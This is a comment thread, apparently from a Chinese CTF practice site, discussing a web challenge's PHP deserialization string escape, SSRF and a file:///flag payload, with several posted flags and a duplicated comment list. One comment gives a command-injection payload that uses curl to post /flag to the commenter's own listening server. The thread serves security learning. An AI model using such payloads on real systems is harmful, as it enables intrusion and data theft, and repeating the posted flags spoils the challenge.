flag{78dc400b390a50ed0009062015da1c8f}
不会,借鉴了writeup
这个讲的很清楚https://blog.csdn.net/m0_52061428/article/details/136293623
我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?
因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url
file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。
flag{fb59b8a9a71cc0b34ca26905db6c520b}
flag{0af3dab81edb60a93d4a173cf3070b25}
后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢
第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。
第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。
第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。
index.cgi/?name= file:///flag
挺难的。ssrf的header头可以用空格逃逸。
...
评论
givemeflag 2月前
举报
flag{78dc400b390a50ed0009062015da1c8f}
LLTVLL 3月前
举报
不会,借鉴了writeup
loulegedadong 3月前
举报
这个讲的很清楚https://blog.csdn.net/m0_52061428/article/details/136293623
老渡真的不懂 1年前
举报
我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?
buggggg 1年前
举报
因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url
XRain 1年前
举报
file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。
mykali 1年前
举报
flag{fb59b8a9a71cc0b34ca26905db6c520b}
wxy1343 1年前
举报
flag{0af3dab81edb60a93d4a173cf3070b25}
jack12138 1年前
举报
后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢
ch1n 1年前
举报
第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。
ch1n 1年前
举报
第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。
ch1n 1年前
举报
第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。
Archer7 2年前
举报
index.cgi/?name= file:///flag
lysandria 2年前
举报
挺难的。ssrf的header头可以用空格逃逸。